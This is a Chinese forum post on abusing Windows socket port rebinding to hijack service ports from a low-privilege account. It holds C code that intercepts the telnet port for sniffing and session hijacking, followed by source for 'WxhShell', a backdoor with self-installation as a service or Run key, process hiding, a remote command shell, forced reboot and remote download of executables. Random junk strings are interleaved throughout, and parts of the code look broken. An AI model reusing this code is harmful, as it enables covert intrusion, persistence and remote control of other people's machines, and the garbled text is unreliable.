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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m[3c,Axl7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d<Q%h?E  
"B (?|r%  
  saddr.sin_family = AF_INET; 3.BUWMD  
7]T(=gg /  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ")i)vXF'  
IjRUr\l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WH1 " HO  
C5I7\9F)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iO?^y(phC  
 'F.P93  
  这意味着什么?意味着可以进行如下的攻击: fK+E5~vQ  
%,02i@Fc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `:V'E>B  
:dULsl$Nz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s=jYQ5nv  
Jk&!(YK&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K&NH?  
b5^>QzgD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ki@C}T5  
ui#nN   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .-tR <{ g  
g1[BrT,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^`";GnH0  
_!DH/?aU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #.HnO_sK_  
Il&7n_ H  
  #include dG5jhkPX  
  #include `Tyd1!~  
  #include nTr]NBR  
  #include    U{oM*[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X5J)1rL  
  int main() Tf]ou5|  
  { ?i#x13  
  WORD wVersionRequested; JXe~ 9/!  
  DWORD ret; W5`pQdk  
  WSADATA wsaData; CQ/+- -o  
  BOOL val; A~a 3bCX+"  
  SOCKADDR_IN saddr; mKO~`Wq%@  
  SOCKADDR_IN scaddr; U.t][#<3  
  int err; ]3I a>i  
  SOCKET s; CV"}(1T  
  SOCKET sc; Q`AlK"G,  
  int caddsize; !P EKMDh  
  HANDLE mt; FauASu,A  
  DWORD tid;   s a o&  
  wVersionRequested = MAKEWORD( 2, 2 ); zM&ro,W  
  err = WSAStartup( wVersionRequested, &wsaData ); :AztHf?X  
  if ( err != 0 ) { rY^uOrR>j*  
  printf("error!WSAStartup failed!\n"); w$f_z*/  
  return -1; -`\rDPGf  
  } |*g#7 YL  
  saddr.sin_family = AF_INET; vMou`[\WlJ  
   ,s 3|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p+]S)K GZw  
ANw1P{9*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q2m[XcnX  
  saddr.sin_port = htons(23); u]Vt>Ywu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~210O5^  
  {  eu$VKLY*  
  printf("error!socket failed!\n"); 9 CZ@IFS  
  return -1; -kLBq :M  
  } h0 92S|iY  
  val = TRUE; <H60rON  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +CBN[/Z^i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d>)=|  
  { c{y'&3\  
  printf("error!setsockopt failed!\n"); |f$+|9Q?  
  return -1; a}NB6E)-  
  } IL.bwt pQD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; # 2^H{7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,ESli/6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f]%S FQ+  
G2I%^.s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3R%JmLM+R9  
  { gtMR/P:S  
  ret=GetLastError(); Fik ;hB  
  printf("error!bind failed!\n"); |wuTw|  
  return -1; A)n_ST0  
  } k0V]<#h87  
  listen(s,2); ,S`n?.&& 7  
  while(1) 5O]tkHYR  
  { p )JR5z  
  caddsize = sizeof(scaddr); @Drl5C}+  
  //接受连接请求 SQK82 /  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8ly)G  
  if(sc!=INVALID_SOCKET) !|4]V}JQ  
  { 06AgY0\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pa d)|  
  if(mt==NULL) vf.MSk?~ar  
  { Ij4q &i"  
  printf("Thread Creat Failed!\n"); Posz|u<x  
  break; i3|xdYe$  
  } 8/)\nV$0Y  
  } '1b8>L  
  CloseHandle(mt); Bcv{Y\x;ko  
  } RA<ky*^dr  
  closesocket(s); WIi,`/K+  
  WSACleanup(); EL3X8H  
  return 0; `(?c4oq,c>  
  }   v4|TQ8!wR  
  DWORD WINAPI ClientThread(LPVOID lpParam) $nmt&lm  
  { @uRJl$3  
  SOCKET ss = (SOCKET)lpParam; D^%IFwU^  
  SOCKET sc; ^ fC2o%3^  
  unsigned char buf[4096]; zKJQel5  
  SOCKADDR_IN saddr; <CO_JWD  
  long num; l59\Lo:  
  DWORD val; Psx"[2iZm  
  DWORD ret; NCi~. I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >&+V[srfD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LBD],Ba!  
  saddr.sin_family = AF_INET; BSHS)_xs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #p*uk  
  saddr.sin_port = htons(23); 9Xg7=(#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tTTHQ7o*BD  
  { |X>'W"Mn  
  printf("error!socket failed!\n"); dcmf~+T  
  return -1; =6ru%.8U,  
  } 7$%G3Q|)L  
  val = 100; $dI mA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) em,1Yn?  
  { d*Mqs}8  
  ret = GetLastError(); ;[ Dxk$"  
  return -1; iQ Xlz] '  
  } Yn [ F:Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *)w+xWmM3w  
  { %Jh( 5  
  ret = GetLastError(); 9VTAs:0D=  
  return -1; EQ^]W-gN  
  } R$l- 7YSt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bFN/{^SB  
  { !YGHJwW:  
  printf("error!socket connect failed!\n"); N5zWeFq@6  
  closesocket(sc); up['<Kt+a  
  closesocket(ss); 64U|]g d$  
  return -1; !?ZR_=Y%  
  } FD E?O]^  
  while(1) >i  
  { 3]kM&lK5\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 deYv&=SPl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /# Jvt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1-^D2B[-  
  num = recv(ss,buf,4096,0); rAHP5dx:  
  if(num>0) p({@t=L3g  
  send(sc,buf,num,0); GO2q"a  
  else if(num==0) Pi5MFw'v  
  break; 7)<Ib j<M  
  num = recv(sc,buf,4096,0); *j&\5|^V  
  if(num>0) EmO[-W|2  
  send(ss,buf,num,0); TE o  
  else if(num==0) ]s5e[iS  
  break; 9[VYd '  
  } ;0m J4G  
  closesocket(ss); iP9]b&  
  closesocket(sc); XYP RMa?  
  return 0 ; iT{4-j7|P4  
  } `. JW_F)1  
j~\FDcG*ed  
H?;+C/-K`_  
========================================================== .?3ro Q  
x*F- d2D  
下边附上一个代码,,WXhSHELL 4rL`||  
/q>ExXsEC  
========================================================== NvIg,@}  
,8Q0AkG  
#include "stdafx.h" S)zw[m  
9*FA=E  
#include <stdio.h> U}X'RCM  
#include <string.h> JXkx!X_{  
#include <windows.h> %fS1g Sf h  
#include <winsock2.h> <Ez@cZ"  
#include <winsvc.h> 0$`pYW]  
#include <urlmon.h> ku*k+4rz  
qk'&:A  
#pragma comment (lib, "Ws2_32.lib") {ST8'hY  
#pragma comment (lib, "urlmon.lib") ZMMx)}hS  
A3 TR'BFw-  
#define MAX_USER   100 // 最大客户端连接数 0B9FPpx?:  
#define BUF_SOCK   200 // sock buffer Ji,;ri2i  
#define KEY_BUFF   255 // 输入 buffer nT=%3_.  
X4:84  
#define REBOOT     0   // 重启 jbe:"S tw  
#define SHUTDOWN   1   // 关机 JE:LA+ (  
B0yGr\KJ  
#define DEF_PORT   5000 // 监听端口 . mO8 ~Z  
XN t` 4$L  
#define REG_LEN     16   // 注册表键长度 Q?j '4  
#define SVC_LEN     80   // NT服务名长度 0&NM=~  
CZ] Dm4  
// 从dll定义API mB0`>?#i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Y^Fn,c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j8e=],sQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y'2w*?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "'``O~08/  
[V?HK_~  
// wxhshell配置信息 lrHN6:x(Y4  
struct WSCFG { GNmP_N  
  int ws_port;         // 监听端口 Em Ut/]  
  char ws_passstr[REG_LEN]; // 口令 ] g9SUFM  
  int ws_autoins;       // 安装标记, 1=yes 0=no q'H6oD`  
  char ws_regname[REG_LEN]; // 注册表键名 |j'@no_rv  
  char ws_svcname[REG_LEN]; // 服务名 DC>?e[oOz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V]Ccj\Oi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w-)JCdS6Tb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wsrdBxd5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Wtr,%82  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tg@G-6u0c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Gr"| uII  
3nhQ^zqf  
}; 9({ 9r[U  
;6 d-+(@  
// default Wxhshell configuration ={o4lFe3v(  
struct WSCFG wscfg={DEF_PORT, {c?{M.R  
    "xuhuanlingzhe", ^|h_[>  
    1, 7mi=Xa:U  
    "Wxhshell", .XK3o .ZhW  
    "Wxhshell", MTE 1\,  
            "WxhShell Service", dmkGIg}  
    "Wrsky Windows CmdShell Service", I31Nu{  
    "Please Input Your Password: ", d/oD]aAEr  
  1, h8.(Q`tli  
  "http://www.wrsky.com/wxhshell.exe", 0 nI*9  
  "Wxhshell.exe" dQH8s  
    }; {7IZN< e  
~a7@O^q 4  
// 消息定义模块 T^d<vH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  K\ pZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A9Ea}v9:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L28wT)D-  
char *msg_ws_ext="\n\rExit."; ; 1?L  
char *msg_ws_end="\n\rQuit."; yP-$@Ry  
char *msg_ws_boot="\n\rReboot..."; Gl{2"!mt=  
char *msg_ws_poff="\n\rShutdown..."; &u"mFweS  
char *msg_ws_down="\n\rSave to "; $@{ d\@U  
&?@U_emLi  
char *msg_ws_err="\n\rErr!"; fRk'\jzT  
char *msg_ws_ok="\n\rOK!"; %T<c8w}dP  
~9!@BL\  
char ExeFile[MAX_PATH]; 9@M;\ @&g  
int nUser = 0; AxJqLSfyb,  
HANDLE handles[MAX_USER]; HWou&<EK  
int OsIsNt; Xsb.xxK.  
(Y&gse1}!  
SERVICE_STATUS       serviceStatus; ;gJAxVD<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _8`S&[E?  
P%w!4v ~"  
// 函数声明 M9VAs~&S  
int Install(void); OHngpe4  
int Uninstall(void); g p|G q  
int DownloadFile(char *sURL, SOCKET wsh); 9XS>;<"2  
int Boot(int flag); `tHF}  
void HideProc(void); =VWH8w.3  
int GetOsVer(void); 0lqh;/  
int Wxhshell(SOCKET wsl); l'!_km0{d  
void TalkWithClient(void *cs); %dmQmO,  
int CmdShell(SOCKET sock); M!VW/vdywL  
int StartFromService(void); <dS I"C<  
int StartWxhshell(LPSTR lpCmdLine); E'+z.~+  
xw~oR|`U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _iqaKYT$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -yIx:*KI  
n ]l3 )u  
// 数据结构和表定义 7we='L&R  
SERVICE_TABLE_ENTRY DispatchTable[] = /8dRql-Ne  
{ SZxnYVY  
{wscfg.ws_svcname, NTServiceMain},  HsG3s?*  
{NULL, NULL} 44^jE{,9  
}; ] :](xW%  
qw|B-lT{:  
// 自我安装 ~:0U.v_V  
int Install(void) *&_(kq z'1  
{ 0'5N[Bvp  
  char svExeFile[MAX_PATH]; ?v+el,  
  HKEY key; s/;S2l$`  
  strcpy(svExeFile,ExeFile); #cJ1Jj $  
$G /p[JG6-  
// 如果是win9x系统,修改注册表设为自启动 {>ghX_m |  
if(!OsIsNt) { >^@~}]L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zwtz )ZII  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (w<llb`]  
  RegCloseKey(key); 6_w~#86=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^m.%FIwR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /GNm>NSK  
  RegCloseKey(key); O+DYh=m*p  
  return 0; T}'*Gry  
    } d<cQYI4V  
  } `apCu  
} i|!R*"  
else { BQgK<_  
M;.:YkrUH  
// 如果是NT以上系统,安装为系统服务 7Sycy#D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0o@eE3^  
if (schSCManager!=0) %NhZTmWm  
{ cGg ~+R2P  
  SC_HANDLE schService = CreateService m$'ZiS5  
  ( -OgC.6  
  schSCManager, ]*rK;  
  wscfg.ws_svcname, &x4|!" G  
  wscfg.ws_svcdisp, >bwq  
  SERVICE_ALL_ACCESS, {I$zmVG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,G$<J0R1  
  SERVICE_AUTO_START, %x^U3"7  
  SERVICE_ERROR_NORMAL, DnB :~&Dw  
  svExeFile, \VAS<?3  
  NULL, 0bQ"s*K  
  NULL, @7?L+.r$9  
  NULL, K>2Bz&)  
  NULL, %F0.TR!!n  
  NULL r;zG  
  ); 7x$VH5jie#  
  if (schService!=0) ^{O1+7d[.  
  { _6sSS\  
  CloseServiceHandle(schService); V$  MMK  
  CloseServiceHandle(schSCManager); lxLEYDGFS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R{Me~L?  
  strcat(svExeFile,wscfg.ws_svcname); +=L^h9F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <)oW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m8* )@e  
  RegCloseKey(key); AHP;N6Y6  
  return 0; n--s[Kdo8  
    } 7t% |s!~  
  } U ,\t2z  
  CloseServiceHandle(schSCManager); ?ieC>cr  
} bqZ5GKUo  
} s";9G^:  
Xf|I=XK  
return 1; ~Y7:08  
} ~2 J!I^ J  
]n4G]ybK%  
// 自我卸载 5mI}IS|@  
int Uninstall(void) f5t/=/6>F  
{ y>JSo9[@  
  HKEY key; 0 SDyE  
@ql S #(  
if(!OsIsNt) { gCI{g. [I!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h}GzQry1  
  RegDeleteValue(key,wscfg.ws_regname); S),acc(d  
  RegCloseKey(key); H')8p;~{}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zW; sr.  
  RegDeleteValue(key,wscfg.ws_regname); 2Ni {fC?  
  RegCloseKey(key); '!XVz$C  
  return 0; oMb@)7  
  } YGCBDH%6  
} rn-CQ2{?  
} R\lUE,o]<q  
else { =zwn3L8fL  
G9 ra;.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {60U6n  
if (schSCManager!=0) eh6=-  
{ 6"U$H$i.G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `R_;n#3F0  
  if (schService!=0) iq`caoi  
  { 5}'W8gV?  
  if(DeleteService(schService)!=0) { Nb/Z+  
  CloseServiceHandle(schService); vqJq=\ .m  
  CloseServiceHandle(schSCManager); ~|8-Mo1ce  
  return 0; .arWbTR)~U  
  } sK|+&BC  
  CloseServiceHandle(schService); "l-R|>6~  
  } Uf\U~wM<  
  CloseServiceHandle(schSCManager); $x q$  
} 9at_F'> R  
} I73=PfS:m  
m}sh (W5\  
return 1; "VQ7Y`,+  
} @`:z$52  
7SJtW`~  
// 从指定url下载文件 #HmZe98[%  
int DownloadFile(char *sURL, SOCKET wsh) h9l 6AnbJ  
{ [|APMMYK1  
  HRESULT hr; \) g?mj^  
char seps[]= "/"; cFloaCz  
char *token; 9<1dps=c  
char *file; Xny{8Oo<1?  
char myURL[MAX_PATH]; :$&v4IW  
char myFILE[MAX_PATH]; c#`&uLp  
lw_PQ4Hp  
strcpy(myURL,sURL); eDS,}Z'  
  token=strtok(myURL,seps); 1HBXD\!  
  while(token!=NULL) :#Nrypsu  
  { Nu7lPEM  
    file=token; %"BJW  
  token=strtok(NULL,seps); g,}_&+q:.M  
  } }\aJ%9X02  
<,Pk  
GetCurrentDirectory(MAX_PATH,myFILE); .%+y_.l  
strcat(myFILE, "\\"); Q?{^8?7  
strcat(myFILE, file); o6)U\z  
  send(wsh,myFILE,strlen(myFILE),0); OH6-\U'.Z  
send(wsh,"...",3,0); }]|e0 w:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kuW^_BROJ  
  if(hr==S_OK) `]wk)50BVp  
return 0; b_a6|  
else F%G} >xn  
return 1; v8 pOA<s  
M.fA5rJ^  
} $9?<mP2-*  
hf< [$B  
// 系统电源模块 @5*$yi 'Cp  
int Boot(int flag) -s9()K(vZG  
{ #,Cz+ k*4  
  HANDLE hToken; sTw+.m{F  
  TOKEN_PRIVILEGES tkp; ^_\%?K_u  
:HkX sZ  
  if(OsIsNt) { "*ww>0[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y@2yV(m)o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,d$D0w  
    tkp.PrivilegeCount = 1; #.@-ng6C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o8u;2gZx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X \qG WpN%  
if(flag==REBOOT) { aBWA hn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4XIc|a Aa  
  return 0; 9G^gI}bY  
} ZMO ym=  
else { WGHf?G/s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 40HhMTZ0-  
  return 0; #;/ob-  
} ,#K{+1z:  
  } Yp EH(tq  
  else { 3U%kf<m=  
if(flag==REBOOT) { U}DLzn|w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J(w 3A)(  
  return 0; :r9<wbr)k0  
} V{n7KhN~Y!  
else { D4$2'h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /o9 0O&  
  return 0; l;}3J3/qq]  
} W}@IUCRs  
} q@vqhE4  
sq;3qbz  
return 1; Y]bS=*q  
} > Ft)v  
QM@zy  
// win9x进程隐藏模块 i7%`}t  
void HideProc(void) B0D  
{ jGe%'A N\  
qIvnPaYW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [G' +s  
  if ( hKernel != NULL ) j%=X ps  
  { (h'Bz6K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r0*Y~ KHw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iAZbh"I  
    FreeLibrary(hKernel); sq?js#C5  
  } S ^$!n,  
%a']TX  
return; yf/i)  
} U< <XeSp  
8 &3KVd`  
// 获取操作系统版本 {%c&T S@s  
int GetOsVer(void) WaSZw0U}y  
{ 06]"{2  
  OSVERSIONINFO winfo; slAR<8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]EdZ,`B4  
  GetVersionEx(&winfo); B_ bZa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sg*+!  
  return 1;  C=qL0  
  else ch33+~Nn  
  return 0; $ i%#fN  
} /h8100  
+QP(ATdM  
// 客户端句柄模块 oSIP{lfp2Q  
int Wxhshell(SOCKET wsl) EVP{7}K1  
{ "r1 !hfIYf  
  SOCKET wsh; `R!Q(rePx  
  struct sockaddr_in client; g{CU1c)B  
  DWORD myID; k/1S7X[  
X.ecA`0  
  while(nUser<MAX_USER) tXcZl!3x  
{ s"R5'W\U  
  int nSize=sizeof(client); N5zx#g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -F_c Bu81V  
  if(wsh==INVALID_SOCKET) return 1; `\GR Y @cg  
qiH)J- ~GZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J&&)%&h'I  
if(handles[nUser]==0) 88l1g,`**  
  closesocket(wsh); u;+8Jg+xH/  
else RAWzQE }  
  nUser++; i|m8#*Hd  
  } 2#/23(Wc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #x`K4f)  
|AS~sjWSJ  
  return 0; ae" o|Q  
} A]ZQ?- L/  
Mfnfp{.)  
// 关闭 socket %+/Dv  
void CloseIt(SOCKET wsh) r+k&W  
{ 'x5p ?m  
closesocket(wsh); *W;;L_V"   
nUser--; &j,# 5f(  
ExitThread(0); TbLU[(m-n  
} ~'F.tB  
H3 -?cy  
// 客户端请求句柄 e=3C*+lq\  
void TalkWithClient(void *cs) ?d+ri  
{ X ]W)D S  
hV:++g  
  SOCKET wsh=(SOCKET)cs; "!CVm{7[  
  char pwd[SVC_LEN]; +*,!q7Gt  
  char cmd[KEY_BUFF]; {Q c,Nl [?  
char chr[1]; xojt s;n   
int i,j; Mdq|: ^px  
6l T< lzT  
  while (nUser < MAX_USER) { \iaZV.#f  
t2Jf+t_B7  
if(wscfg.ws_passstr) { c91^7@Xv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %|D) U>o{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -}PE(c1%?q  
  //ZeroMemory(pwd,KEY_BUFF); JY@bD:  
      i=0; vG7Mk8mIr  
  while(i<SVC_LEN) { 1rs.  
:!hO9ho  
  // 设置超时 <B>hvuCoH  
  fd_set FdRead; p3Ozfk  
  struct timeval TimeOut; -<9Qez)y  
  FD_ZERO(&FdRead); {~w(pAx  
  FD_SET(wsh,&FdRead); h(R7y@mp\0  
  TimeOut.tv_sec=8; V'tR \b  
  TimeOut.tv_usec=0; HEAW](s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % 8wBZ~1-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $-u c#57  
%|ClYr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pL!,1D!  
  pwd=chr[0]; v 2 p  
  if(chr[0]==0xd || chr[0]==0xa) { p(nO~I2E  
  pwd=0; TspX7<6r  
  break;  Na@;F{  
  } \o=9WKc  
  i++; *JfGGI_E  
    } L>mM6$l  
v9FR  
  // 如果是非法用户,关闭 socket ,]nRnI^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ''D7Bat@  
} \F-n}Z  
4f~sRubK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DaJ,( DJY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wEwR W  
*C0a,G4  
while(1) { 8EMBqhl  
cvo+{u$s  
  ZeroMemory(cmd,KEY_BUFF); dNY'uv&Y  
Thu_`QP^  
      // 自动支持客户端 telnet标准   ~5h4 Gy)  
  j=0; =+b>d\7xG  
  while(j<KEY_BUFF) { ,X1M!'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |vm-(HY!  
  cmd[j]=chr[0]; xQU//kNL  
  if(chr[0]==0xa || chr[0]==0xd) { H }]Zp  
  cmd[j]=0; [s`B0V`04  
  break; QlV(D<  
  } bCr W'}:de  
  j++; )P?Fni}  
    } QV.>Cy  
$y,KDR7^  
  // 下载文件 QH4m7M@ni  
  if(strstr(cmd,"http://")) { #pgD-0_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4M>pHz4  
  if(DownloadFile(cmd,wsh)) X lItg\R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>]/.w2=  
  else xb%Q[V_m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7w" !"W#  
  } vea{o 35!  
  else { lR7;{zlSf'  
_ Pzgn@D  
    switch(cmd[0]) { H! 5Ka#B  
  8+dsTX`|S  
  // 帮助 R+0gn/a[G  
  case '?': { -^yc<%U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fZr{x$]N0  
    break; a%BC{XX  
  } rPBsr<k#5  
  // 安装 &=*1[j\  
  case 'i': { =,q/FY:  
    if(Install()) [%R?^*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); re/u3\S  
    else <9"@<[[,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t( V 2  
    break; %'h:G Bkd  
    } 37:tu7e~c  
  // 卸载 Qxa Me8 (  
  case 'r': { -zMvpe-am&  
    if(Uninstall()) ?Fa$lE4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ep$<kx8  
    else 4[gbRn'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ": BZZ\!  
    break; R!7--]Wcg  
    } <dE~z]P  
  // 显示 wxhshell 所在路径 2]Cn<zJ  
  case 'p': { x1`(Z|RJ  
    char svExeFile[MAX_PATH]; o6|- :u5_/  
    strcpy(svExeFile,"\n\r"); lH`c&LL-=!  
      strcat(svExeFile,ExeFile); "Dk@-Ac  
        send(wsh,svExeFile,strlen(svExeFile),0); ^Ss <<  
    break; eN|zD?ba&  
    } \'u+iB g  
  // 重启 [.Md_  
  case 'b': { bZgo}`o%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L\"wz scn  
    if(Boot(REBOOT)) zVtTv-DU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZ/_uj2&SN  
    else { ) ?kbHm  
    closesocket(wsh); mZ? jpnd  
    ExitThread(0); PWvTC`?  
    } ~N| aCi-X  
    break; bA Yp }  
    } NX(IX6^y  
  // 关机 *^7^g!=z2  
